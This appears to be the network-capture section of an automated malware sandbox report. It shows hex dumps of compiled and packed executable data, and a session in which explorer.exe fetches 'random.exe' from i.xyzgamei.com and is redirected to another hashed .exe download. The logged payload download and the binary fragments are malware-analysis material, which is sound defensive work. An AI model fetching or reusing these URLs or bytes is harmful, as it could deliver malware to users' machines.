PMQREPh8"@jjjj uEj[DREHUD P2uzMyt=U
2022-08-31 06:34:19 UTC	65	IN	Data Raw: 8b 55 20 52 8b 45 1c 50 8b 4d 18 51 8b 55 10 52 8b 45 0c 50 8b 4d 08 51 e8 42 f1 ff ff 83 c4 18 89 45 fc eb 23 8b 55 20 52 8b 45 1c 50 8b 4d 18 51 8b 55 10 52 8b 45 0c 50 8b 4d 08 51 e8 1d fd ff ff 83 c4 18 89 45 fc 8b 45 fc 8b e5 5d c3 8b ff 55 8b ec 6a 00 8b 45 1c 50 8b 4d 18 51 8b 55 14 52 8b 45 10 50 8b 4d 0c 51 8b 55 08 52 e8 1c ff ff ff 83 c4 1c 5d c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 7d 0c 00 74 23 8b 45 08 50 e8 1c cf ff ff 83 c4 04 83 c0 01 50 8b 4d 08 51 8b 55 08 03 55 0c 52 e8 a5 f1 00 00 83 c4 0c 5d c3 8b ff 55 8b ec 51 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 fc 83 7d fc 0a 73 1f 8b 4d fc 8b 14 8d 50 5c 44 00 52 e8 f2 17 00 00 83 c4 04 8b 4d fc 89 04 8d 50 5c 44 00 eb d2 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: U REPMQUREPMQBE#U REPMQUREPMQEE]UjEPMQUREPMQUR]U}t#EPPMQUUR]UQEEE}sMP\DRMP\D]
2022-08-31 06:34:19 UTC	65	IN	Data Raw: 31 30 30 30 30 0d 0a 55 0c 52 8b 45 08 50 ff 55 fc 83 c4 14 eb 26 6a 02 e8 ba 90 00 00 83 c4 04 8b 4d 18 51 8b 55 14 52 8b 45 10 50 8b 4d 0c 51 8b 55 08 52 e8 0e 00 00 00 83 c4 14 8b e5 5d c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 81 ec 38 03 00 00 a1 44 5c 44 00 33 c5 89 45 f0 c7 85 c8 fc ff ff 00 00 00 00 6a 4c 6a 00 8d 85 cc fc ff ff 50 e8 b1 95 ff ff 83 c4 0c 8d 8d c8 fc ff ff 89 4d f8 8d 95 20 fd ff ff 89 55 fc c7 45 f4 00 00 00 00 c7 85 1c fd ff ff 00 00 00 00 89 85 d0 fd ff ff 89 8d cc fd ff ff 89 95 c8 fd ff ff 89 9d c4 fd ff ff 89 b5 c0 fd ff ff 89 bd bc fd ff ff 66 8c 95 e8 fd ff ff 66 8c 8d dc fd ff ff 66 8c 9d b8 fd ff ff 66 8c 85 b4 fd ff ff 66 8c a5 b0 fd ff ff 66 8c ad ac fd ff ff 9c 8f 85 e0 fd ff ff c7 85 20 fd ff ff 01 00 01 00 8b 45 04 89 Data Ascii: 10000UREPU&jMQUREPMQUR]U8D\D3EjLjPM UEffffff E
2022-08-31 06:34:19 UTC	67	IN	Data Raw: 81 7d e4 01 01 00 00 7d 14 8b 4d e0 03 4d e4 8b 55 e4 8a 41 1c 88 82 08 60 44 00 eb da c7 45 e4 00 00 00 00 eb 09 8b 4d e4 83 c1 01 89 4d e4 81 7d e4 00 01 00 00 7d 17 8b 55 e0 03 55 e4 8b 45 e4 8a 8a 1d 01 00 00 88 88 10 61 44 00 eb d7 8b 15 10 62 44 00 52 ff 15 d4 10 40 00 85 c0 75 1c 81 3d 10 62 44 00 e8 5d 44 00 74 10 6a 02 a1 10 62 44 00 50 e8 b6 ae ff ff 83 c4 08 8b 4d e0 89 0d 10 62 44 00 8b 55 e0 52 ff 15 a8 10 40 00 c7 45 fc fe ff ff ff e8 02 00 00 00 eb 0b 6a 0d e8 cb cc ff ff 83 c4 04 c3 eb 28 83 7d d8 ff 75 22 81 7d e0 e8 5d 44 00 74 0e 6a 02 8b 45 e0 50 e8 6b ae ff ff 83 c4 08 e8 23 fc ff ff c7 00 16 00 00 00 eb 07 c7 45 d8 00 00 00 00 8b 45 d8 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: }}MMUA`DEMM}}UUEaDbDR@u=bD]DtjbDPMbDUR@Ej(}u"}]DtjEPk#EEMdY_^[]
2022-08-31 06:34:20 UTC	81	IN	Data Raw: d0 78 61 84 00 8b 4d d0 8b 11 89 55 e4 8b 45 d8 83 c0 01 89 45 d8 e9 b6 00 00 00 e8 5d dc ff ff 89 45 e0 83 7d e0 00 75 08 83 c8 ff e9 d6 01 00 00 8b 4d e0 8b 51 5c 52 8b 45 08 50 e8 0c 02 00 00 83 c4 08 83 c0 08 89 45 d0 8b 4d d0 8b 11 89 55 e4 e9 89 00 00 00 eb 78 33 c0 74 09 c7 45 c0 01 00 00 00 eb 07 c7 45 c0 00 00 00 00 8b 4d c0 89 4d c8 83 7d c8 00 75 21 68 40 3c 40 00 6a 00 68 f4 01 00 00 68 e0 3b 40 00 6a 02 e8 6c 92 ff ff 83 c4 14 83 f8 01 75 01 cc 83 7d c8 00 75 31 e8 b8 c1 ff ff c7 00 16 00 00 00 6a 00 68 f4 01 00 00 68 e0 3b 40 00 68 80 3c 40 00 68 40 3c 40 00 e8 27 bf ff ff 83 c4 14 83 c8 ff e9 36 01 00 00 8b 45 e4 50 e8 d3 d6 ff ff 83 c4 04 89 45 e4 83 7d e4 01 75 07 33 c0 e9 1a 01 00 00 83 7d e4 00 75 07 6a 03 e8 83 f8 ff ff 83 7d d8 00 74 Data Ascii: xaMUEE]E}uMQ\REPEMUx3tEEMM}u!h@<@jhh;@jlu}u1jhh;@h<@h@<@'6EPE}u3}uj}t
2022-08-31 06:34:20 UTC	97	IN	Data Raw: 55 f3 83 fa 20 74 0d 0f b6 45 f3 83 f8 09 0f 85 37 ff ff ff 0f b6 4d f3 85 c9 75 0b 8b 55 fc 83 ea 01 89 55 fc eb 0d 83 7d 10 00 74 07 8b 45 10 c6 40 ff 00 c7 45 f8 00 00 00 00 8b 4d fc 0f be 11 85 d2 74 21 8b 45 fc 0f be 08 83 f9 20 74 0b 8b 55 fc 0f be 02 83 f8 09 75 0b 8b 4d fc 83 c1 01 89 4d fc eb df 8b 55 fc 0f be 02 85 c0 75 05 e9 cf 01 00 00 83 7d 0c 00 74 11 8b 4d 0c 8b 55 10 89 11 8b 45 0c 83 c0 04 89 45 0c 8b 4d 14 8b 11 83 c2 01 8b 45 14 89 10 c7 45 f4 01 00 00 00 c7 45 ec 00 00 00 00 8b 4d fc 0f be 11 83 fa 5c 75 14 8b 45 fc 83 c0 01 89 45 fc 8b 4d ec 83 c1 01 89 4d ec eb e1 8b 55 fc 0f be 02 83 f8 22 75 48 8b 45 ec 33 d2 b9 02 00 00 00 f7 f1 85 d2 75 30 83 7d f8 00 74 17 8b 55 fc 0f be 42 01 83 f8 22 75 0b 8b 4d fc 83 c1 01 89 4d fc eb 13 c7 Data Ascii: U tE7MuUU}tE@EMt!E tUuMMUu}tMUEEMEEEM\uEEMMU"uHE3u0}tUB"uMM
2022-08-31 06:34:20 UTC	113	IN	Data Raw: 15 40 6a 84 00 83 c4 0c 85 c0 74 16 c7 85 d4 cf ff ff 01 00 00 00 8b 95 a4 af ff ff 89 95 dc df ff ff 83 bd d4 cf ff ff 00 0f 85 ef 00 00 00 8b 45 08 8b 0c 85 b4 67 44 00 83 e1 01 74 3e 8b 55 08 83 3c 95 c0 67 44 00 ff 74 31 6a 00 8d 85 a0 af ff ff 50 8d 8d d8 cf ff ff 51 e8 3d 0d ff ff 83 c4 04 50 8d 95 d8 cf ff ff 52 8b 45 08 8b 0c 85 c0 67 44 00 51 ff 15 f8 11 40 00 8b 55 08 8b 04 95 b4 67 44 00 83 e0 02 74 0d 8d 8d d8 cf ff ff 51 ff 15 4c 12 40 00 8b 55 08 8b 04 95 b4 67 44 00 83 e0 04 74 77 c6 85 d0 bf ff ff 00 83 7d 10 00 74 39 6a 00 68 a2 01 00 00 68 88 57 40 00 68 30 5d 40 00 68 e0 5c 40 00 6a 0a 68 00 10 00 00 8d 8d d0 bf ff ff 51 8b 55 10 52 e8 3c 95 00 00 83 c4 10 50 e8 53 0e ff ff 83 c4 18 8d 85 d0 af ff ff 50 8b 4d 14 51 8b 55 10 f7 da 1b d2 Data Ascii: @jtEgDt>U<gDt1jPQ=PREgDQ@UgDtQL@UgDtw}t9jhhW@h0]@h\@jhQUR<PSPMQU
2022-08-31 06:34:20 UTC	129	IN	Data Raw: 2e 81 7d fc cc cc 00 00 74 25 33 c9 75 21 68 c0 68 40 00 6a 00 68 09 01 00 00 68 60 68 0d 0a Data Ascii: .}t%3u!hh@jhh`h
2022-08-31 06:34:20 UTC	129	IN	Data Raw: 31 30 30 30 30 0d 0a 40 00 6a 02 e8 d7 d2 fe ff 83 c4 14 83 f8 01 75 01 cc 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 08 8b 45 0c 89 45 f8 8b 4d 08 89 4d fc 8b 55 f8 8b 45 f8 83 e8 01 89 45 f8 85 d2 74 15 8b 4d fc 0f be 11 85 d2 74 0b 8b 45 fc 83 c0 01 89 45 fc eb db 8b 45 0c 2b 45 f8 83 e8 01 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 14 8b 45 08 50 8d 4d f0 e8 1c 99 fe ff 8b 4d 24 51 8b 55 20 52 8b 45 1c 50 8b 4d 18 51 8b 55 14 52 8b 45 10 50 8b 4d 0c 51 8d 4d f0 e8 08 9a fe ff 50 e8 22 00 00 00 83 c4 20 89 45 ec 8d 4d f0 e8 c4 99 fe ff 8b 45 ec 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 24 83 3d 1c 66 84 00 00 75 38 8d 45 fc 50 6a 01 68 5c 68 40 00 6a 01 ff 15 68 12 40 00 85 c0 74 0c Data Ascii: 10000@ju]UEEMMUEEtMtEEE+E]UEPMM$QU REPMQUREPMQMP" EME]U$=fu8EPjh\h@jh@t
2022-08-31 06:34:20 UTC	131	IN	Data Raw: af fe ff 83 c4 08 6a 02 8b 55 08 8b 82 88 00 00 00 50 e8 18 af fe ff 83 c4 08 6a 02 8b 4d 08 8b 91 8c 00 00 00 52 e8 04 af fe ff 83 c4 08 6a 02 8b 45 08 8b 88 90 00 00 00 51 e8 f0 ae fe ff 83 c4 08 6a 02 8b 55 08 8b 82 94 00 00 00 50 e8 dc ae fe ff 83 c4 08 6a 02 8b 4d 08 8b 91 98 00 00 00 52 e8 c8 ae fe ff 83 c4 08 6a 02 8b 45 08 8b 88 9c 00 00 00 51 e8 b4 ae fe ff 83 c4 08 6a 02 8b 55 08 8b 82 a0 00 00 00 50 e8 a0 ae fe ff 83 c4 08 6a 02 8b 4d 08 8b 91 a4 00 00 00 52 e8 8c ae fe ff 83 c4 08 6a 02 8b 45 08 8b 88 a8 00 00 00 51 e8 78 ae fe ff 83 c4 08 5d c3 cc cc cc 8b ff 55 8b ec 83 7d 08 00 75 02 eb 5b 8b 45 08 8b 08 3b 0d c8 69 44 00 74 10 6a 02 8b 55 08 8b 02 50 e8 49 ae fe ff 83 c4 08 8b 4d 08 8b 51 04 3b 15 cc 69 44 00 74 11 6a 02 8b 45 08 8b 48 04 Data Ascii: jUPjMRjEQjUPjMRjEQjUPjMRjEQx]U}u[E;iDtjUPIMQ;iDtjEH
2022-08-31 06:34:20 UTC	145	IN	Data Raw: ff ff 00 75 09 83 bd 30 fd ff ff 00 75 0c c7 85 b4 fd ff ff ff ff ff ff eb 26 8d 85 b4 fd ff ff 50 8b 4d 08 51 8b 95 30 fd ff ff 52 8d 85 28 fd ff ff 50 e8 95 36 ff ff 83 c4 10 e9 5a ff ff ff eb 1b 8d 8d b4 fd ff ff 51 8b 55 08 52 8b 45 dc 50 8b 4d fc 51 e8 73 36 ff ff 83 c4 10 83 bd b4 fd ff ff 00 7c 24 8b 55 f0 83 e2 04 74 1c 8d 85 b4 fd ff ff 50 8b 4d 08 51 8b 95 3c fd ff ff 52 6a 20 e8 a6 02 00 00 83 c4 10 83 7d e0 00 74 15 6a 02 8b 45 e0 50 e8 02 74 fe ff 83 c4 08 c7 45 e0 00 00 00 00 e9 cd f0 ff ff 83 bd a4 fd ff ff 00 74 15 83 bd a4 fd ff ff 07 74 0c c7 85 cc fc ff ff 00 00 00 00 eb 0a c7 85 cc fc ff ff 01 00 00 00 8b 8d cc fc ff ff 89 8d 20 fd ff ff 83 bd 20 fd ff ff 00 75 21 68 a0 79 40 00 6a 00 68 f5 08 00 00 68 a0 4a 40 00 6a 02 e8 fe 91 fe ff Data Ascii: u0u&PMQ0R(P6ZQUREPMQs6\|$UtPMQ<Rj }tjEPtEtt u!hy@jhhJ@j
2022-08-31 06:34:20 UTC	161	IN	Data Raw: e8 8b 11 3b 55 fc 7f 0b 8b 45 e8 8b 4d fc 3b 48 04 7e 02 eb cb 8b 55 e8 8b 42 10 89 45 e0 8b 4d e8 8b 51 0c 89 55 e4 eb 12 8b 45 e4 83 e8 01 89 45 e4 8b 4d e0 83 c1 10 89 4d e0 83 7d e4 00 0f 8e a0 00 00 00 8b 55 08 8b 42 1c 8b 48 0c 83 c1 04 89 4d d8 8b 55 08 8b 42 1c 8b 48 0c 8b 11 89 55 dc eb 12 8b 45 dc 83 e8 01 89 45 dc 8b 4d d8 83 c1 04 89 4d d8 83 7d dc 00 7e 64 8b 55 d8 8b 02 89 45 d4 8b 4d 08 8b 51 1c 52 8b 45 d4 50 8b 4d e0 51 e8 e5 03 00 00 83 c4 0c 85 c0 75 02 eb c3 c6 45 fa 01 0f b6 55 fb 52 8b 45 24 50 8b 4d 20 51 8b 55 e8 52 8b 45 d4 50 8b 4d e0 51 8b 55 18 52 8b 45 14 50 8b 4d 10 51 8b 55 0c 52 8b 45 08 50 e8 56 06 00 00 83 c4 2c eb 09 eb 07 eb 84 e9 44 ff ff ff e9 f6 fe ff ff 0f b6 4d 1c 85 c9 74 0e 6a 01 8b 55 08 52 e8 70 0d 00 00 83 c4 Data Ascii: ;UEM;H~UBEMQUEEMM}UBHMUBHUEEMM}~dUEMQREPMQuEURE$PM QUREPMQUREPMQUREPV,DMtjURp
2022-08-31 06:34:20 UTC	177	IN	Data Raw: 17 8b 55 f0 81 ca 80 00 00 00 89 55 f0 eb 09 8b 45 f0 83 c8 08 89 45 f0 e9 4b 0c 00 00 0f b7 8d ac fb ff ff 83 f9 2a 75 28 8d 55 14 52 e8 2b b7 fe ff 83 c4 04 89 45 e8 83 7d e8 00 7d 11 8b 45 f0 83 c8 04 89 45 f0 8b 4d e8 f7 d9 89 4d e8 eb 14 8b 55 e8 6b d2 0a 0f b7 85 ac fb ff ff 8d 4c 02 d0 89 4d e8 e9 fe 0b 00 00 c7 45 d0 00 00 00 00 e9 f2 0b 00 00 0f b7 95 ac fb ff ff 83 fa 2a 75 1e 8d 45 14 50 e8 d2 b6 fe ff 83 c4 04 89 45 d0 83 7d d0 00 7d 07 c7 45 d0 ff ff ff ff eb 14 8b 4d d0 6b c9 0a 0f b7 95 ac fb ff ff 8d 44 11 d0 89 45 d0 e9 af 0b 00 00 0f b7 8d ac fb ff ff 89 8d 18 fb ff ff 8b 95 18 fb ff ff 83 ea 49 89 95 18 fb ff ff 83 bd 18 fb ff ff 2e 0f 87 0d 01 00 00 8b 85 18 fb ff ff 0f b6 88 84 d9 42 00 ff 24 8d 70 d9 42 00 8b 55 0c 0f b7 02 83 f8 6c Data Ascii: UUEEKu(UR+E}}EEMMUkLMEuEPE}}EMkDEI.B$pBUl
2022-08-31 06:34:20 UTC	193	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 5a 44 00 00 00 00 00 ff ff ff ff 0d 0a Data Ascii: ZD
2022-08-31 06:34:20 UTC	193	IN	Data Raw: 31 30 30 30 30 0d 0a 00 00 00 00 0c 00 00 00 a0 9d 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 fa 9f 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 c3 ab 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 c8 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 2b ad 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 74 ff ff ff 00 00 00 00 fe ff ff ff 76 ae 40 00 7c ae 40 00 fe ff ff ff a6 af 40 00 c1 af 40 00 fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 0b b1 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 c4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 90 b7 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 52 b9 40 00 00 00 00 00 Data Ascii: 10000@@@+@tv@\|@@@@@R@
2022-08-31 06:34:20 UTC	195	IN	Data Raw: ff ff ff 00 00 00 00 cc ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 44 2f 42 00 00 00 00 00 00 00 00 00 17 2f 42 00 ff ff ff ff 90 eb 42 00 22 05 93 19 01 00 00 00 78 11 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 60 8e 42 00 00 00 00 00 b4 11 43 00 02 00 00 00 c0 11 43 00 f0 0b 43 00 00 00 00 00 18 6d 44 00 00 00 00 00 ff ff ff ff 00 00 00 00 0c 00 00 00 b0 8e 42 00 00 00 00 00 fe ff ff ff 00 00 00 00 c4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 bd 92 42 00 00 00 00 00 8d 92 42 00 9a 92 42 00 fe ff ff ff 00 00 00 00 a0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 a8 95 42 00 00 00 00 00 a9 94 42 00 b6 94 42 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 16 99 42 00 1c 99 42 00 00 00 00 00 Data Ascii: D/B/BB"xC`BCCCmDBBBBBBBBB
2022-08-31 06:34:20 UTC	209	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 06:34:20 UTC	225	IN	Data Raw: a1 aa 7d da 2e 78 70 7c 47 be 0e f9 ed 0c 7f a0 79 1e a8 b9 40 df 33 5c f9 19 a7 58 4b 20 ef 7f b2 75 03 75 ca 43 9f 31 d9 b9 08 fc e3 20 f9 0e e1 92 85 e7 27 23 fb 4c 7e e6 f6 56 1e 7a 08 24 db c8 44 f8 b8 89 bf b7 41 87 5e a6 5c 3a 51 a2 c7 04 d5 b1 14 b6 c1 0b cc a9 21 3a 6b 63 9c 16 dc cc 5e 81 ea cf 4a e9 63 3b e1 a3 4b cb 9d 14 c1 38 8d 51 f5 dd 4a 62 a3 a0 47 d9 48 10 ae af 92 c5 1a ac 56 17 1c ad f5 49 2a 6f 45 15 95 6c 0e a5 82 11 98 24 5b 58 8e a2 8e e2 54 3a 4b 32 6d ae fd 8b a9 ec da 7f c4 b8 a3 d6 1c de 41 c8 58 83 83 47 1c ba d8 94 94 82 fa ab 96 cc 55 f9 8e 9d dd 18 fc 98 09 f1 30 19 eb aa 7e de c4 58 54 24 8a dd ea 3b c5 df 18 50 ce 64 c6 41 f9 5c 92 9a 07 18 67 85 16 d3 4c 13 f3 a2 ae 74 de 15 22 a7 5b 13 d3 64 d8 23 93 13 01 ff 7c 91 d7 Data Ascii: }.xp\|Gy@3\XK uuC1 '#L~Vz$DA^\:Q!:kc^Jc;K8QJbGHVI*oEl$[XT:K2mAXGU0~XT$;PdA\gLt"[d#\|
2022-08-31 06:34:20 UTC	241	IN	Data Raw: 90 ac 5a 6b 2e 13 c6 3c d4 9e fe 9e 39 c0 d8 b4 3f bb e4 21 2c f1 e6 05 b7 23 c1 32 43 5f 76 0c 7b c8 18 db a9 28 03 c6 08 d1 40 80 44 c4 2f f6 b0 09 98 81 c0 69 5d 2a 9f 62 fd 02 2a d3 50 ce 97 39 9f 7b b0 2e 8e f2 9f c5 5f fa 03 0a bf 2b bb 78 51 d9 0c 92 5b b4 27 80 c5 20 8e 31 0c 78 33 07 97 b0 e6 c3 30 f9 99 d0 08 82 08 2e 9e e8 ac 20 c7 58 43 b8 df df 3f bb 0c 96 60 f4 dd b0 55 37 66 2e 7b ca 72 16 8b 63 b7 52 15 5b ac 14 04 ec 1a a3 62 99 b0 1c 04 dd 03 67 bd c4 cf 43 ec 5c e5 3e 95 8a a3 d3 6d b2 a5 8f 13 0b 6d cd 3b 33 5b 66 a1 a2 b1 5d 18 42 27 63 48 56 21 d2 ad e0 b8 75 8e 75 23 42 72 6b 6b 1f 08 be 34 4d 96 0a 4c ae ca 1d 7d 71 cf 17 7e 95 1a 55 86 20 b4 b0 82 62 6a 29 10 21 52 b5 4b a5 29 92 f3 cc 58 51 d5 ea 74 02 66 af 83 e4 70 fe c8 32 52 Data Ascii: Zk.<9?!,#2C_v{(@D/i]bP9{._+xQ[' 1x30. XC?`U7f.{rcR[bgC\>mm;3[f]B'cHV!uu#Brkk4ML}q~U bj)!RK)XQtfp2R
2022-08-31 06:34:20 UTC	257	IN	Data Raw: aa ca 2f cd 6a 0b a6 a7 45 0c 64 db 46 ef 08 a0 5a cf af 70 9c e4 78 06 ee 3f f2 68 07 0d 0a Data Ascii: /jEdFZpx?h
2022-08-31 06:34:20 UTC	257	IN	Data Raw: 38 65 30 30 0d 0a 99 20 a8 bf f0 b3 be 8e bf 34 e1 1e 96 cd b6 63 85 52 3f 0c f2 ea 49 71 54 2f 84 e4 7c 9a 1d e5 95 a9 5d 1d dd b1 44 6f 6a bb 6f 72 27 89 42 fa a8 ef 81 ec 1f ba cb 17 89 23 8a 04 c2 20 96 fb ae cb a7 d2 c2 0a 18 54 b3 4f e2 fd 0b 83 55 fe f2 9d 97 37 f8 7c 14 0e 83 0e 77 44 8b 33 03 fb f8 a9 33 3e 8e 7b a8 9c f3 c2 59 f3 67 f3 c7 bc d4 54 c8 16 eb b7 3a 19 b6 93 ba 41 7a 83 a0 a1 09 ed 77 10 a4 33 67 5a 1c 25 7b 1b 71 d3 33 d7 8f 6b a4 02 a4 cf e0 cc 56 87 21 f2 0b 7d ce c6 b2 54 88 97 e9 09 7e c4 73 f9 90 05 6e a0 bc 6a 19 8c c2 12 37 44 52 47 84 62 58 0d 5e d1 f1 49 1b 06 79 84 34 7a a8 a9 bf 58 33 f8 cf 98 45 d9 02 36 f4 05 5f a9 36 4f 05 64 7d 2c c0 52 5b 8e f2 6e 10 05 e6 fc fe 86 2a c9 e1 a4 1d 89 49 3e 1e c4 df f7 3d c2 64 af 52 Data Ascii: 8e00 4cR?IqT/\|]Dojor'B# TOU7\|wD33>{YgT:Azw3gZ%{q3kV!}T~snj7DRGbX^Iy4zX3E6_6Od},R[n*I>=dR
2022-08-31 06:34:20 UTC	259	IN	Data Raw: 5a 25 d5 74 48 ae bc 65 58 b6 79 84 48 9c 2d 42 31 b4 f5 88 ed 8d 58 c7 bc be 02 68 51 5f ba b7 38 f3 63 73 1e d1 8c a1 e3 ae 3a 74 6a 03 8e 69 9a 74 6e f0 84 66 b5 29 7a 59 c8 80 56 e0 2a 21 ce d1 06 a7 a5 0d ce 9e b0 0d b1 13 e4 60 f2 24 f5 9b 16 6b fe f5 b0 d7 1d f1 39 34 ca 64 7f 46 b5 d2 43 3a 04 ac 01 38 82 ca 90 c7 ac 48 65 0b 3e e7 8b 8b 33 67 05 98 6e b7 28 10 d2 08 1e 06 38 48 85 8a 2c 12 71 b3 8f a2 65 7e 30 ad 92 3c b2 ab de 8d 3b 54 11 91 1c f1 8a 90 b0 34 cb ae 4b 6a f6 b8 b6 44 97 6d 78 3f b5 f7 9b d5 11 47 d2 81 1a 7d f3 0b 11 32 b1 4b 49 ec d2 07 b5 92 89 4b c4 e0 e0 a8 08 5a 53 de ec 9d 99 f9 4b 90 2f d2 16 09 c5 3d 50 a2 3d ec 2e af 5f d6 3b 34 15 50 55 89 8d 92 1b c9 8e a0 37 6b 01 ec d6 00 00 9a bc d2 2e 49 6e 05 be c2 81 91 f5 91 ef Data Ascii: Z%tHeXyH-B1XhQ_8cs:tjitnf)zYV*!`$k94dFC:8He>3gn(8H,qe~0<;T4KjDmx?G}2KIKZSK/=P=._;4PU7k.In
2022-08-31 06:34:20 UTC	273	IN	Data Raw: 55 a0 49 62 3a f2 06 20 ff f7 eb ee a4 98 26 5b 96 4e 6c a2 05 9d c1 78 8b 78 80 65 33 9e ae 4f 8e 05 85 58 1d a6 2c 30 36 2b c3 ce af 46 89 8b 56 e3 40 75 f7 b9 51 03 bd 95 57 81 18 6d c4 0d c8 5b fc 21 71 d3 e6 7e de 0a b9 c0 e7 d6 11 21 df 4c 86 70 b6 50 8e b0 f6 d2 51 5a bd 3d fc 69 cc 89 e1 12 6f c2 7b 16 4c f7 a4 9b 27 1f 9f cc 3b f2 08 b5 02 97 47 f6 0a 8a 86 b3 c0 bb 9c 71 1e 19 45 68 c9 84 5f 0f 98 10 b7 e5 a7 ca db 6b 0f 98 a3 fc 1d 5f 0a 1a 3b 54 32 ae 6b 41 9d 93 d3 ad 48 83 d0 23 d2 da cd 93 53 ff 80 7d 0f 3b 02 65 99 62 4a cc 0e 44 cf 37 c0 11 0f 2c c2 bd e0 37 ea 57 a0 a7 6c b6 49 32 cb 2d 0f bd 1d 47 ea 7b d6 b0 9b 49 18 1a de ea bc b0 38 3f 8b eb 04 e5 65 4f f9 5e 4a ec dd cf 82 54 c2 46 90 10 5d 89 a8 11 b6 07 ff 12 ca 9e af ec a9 01 f0 Data Ascii: UIb: &[Nlxxe3OX,06+FV@uQWm[!q~!LpPQZ=io{L';GqEh_k_;T2kAH#S};ebJD7,7WlI2-G{I8?eO^JTF]
2022-08-31 06:34:20 UTC	289	IN	Data Raw: 88 db d6 31 85 df d7 30 8b db da 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 da df 22 8d d4 d4 34 93 e2 dd 29 48 71 79 4a 30 86 af d5 9c bd d6 cc 7f 81 b7 ce 31 79 7d 79 7e d0 d0 2b 87 d4 de 3d 90 d9 d2 36 90 d6 c6 34 8e d9 d4 2f 8a d5 da 38 8b d3 d4 2b 99 d4 d7 29 85 e0 d1 35 8b da dd 1e 00 00 00 00 00 00 00 00 7e cb db 2e 83 c9 e4 34 7c d7 df 37 84 d1 dc 30 80 cb d8 30 81 da d5 2c 85 d3 d6 38 7d cd d6 24 32 6d 83 7c 60 81 bb d4 30 79 a2 ca 6a 7b 80 47 88 c8 cc 34 87 d2 e3 31 80 d2 d5 31 85 d0 df 2d 80 d2 dc 2d 83 d6 dc 33 85 dd dd 3c 84 de d2 31 95 d7 d0 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 de d9 31 94 de e4 2c 8c e2 d7 2b 93 da da 25 94 d4 cf 3b 8a ca d6 3a 86 dc ce 38 58 7b 7c 37 28 7a a2 c2 2f 76 7c Data Ascii: 10)"4)HqyJ01y}y~+=64/8+)5~.4\|700,8}$2m\|`0yj{G411--3<1+1,+%;:8X{\|7(z/v\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49759	172.67.137.109	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 06:34:25 UTC	293	OUT	GET /gamexyz/31/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: i.xyzgamei.com
2022-08-31 06:34:25 UTC	293	IN	HTTP/1.1 302 Found Date: Wed, 31 Aug 2022 06:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://b.game2723.com/gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe CF-Cache-Status: BYPASS Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L6kMZC1jY4H5LuDd24k%2FfCcetCfFuKt3yE76nqmkCDrUxw12gwy3%2FVasX4W7AaDUa8F2atn6cnyOjmjWQv8lsTWk5OsKe3UTnuyMA1911t%2Bcr7sYoiBL1xPkRosjD8Co0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7433bd84f85275c6-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
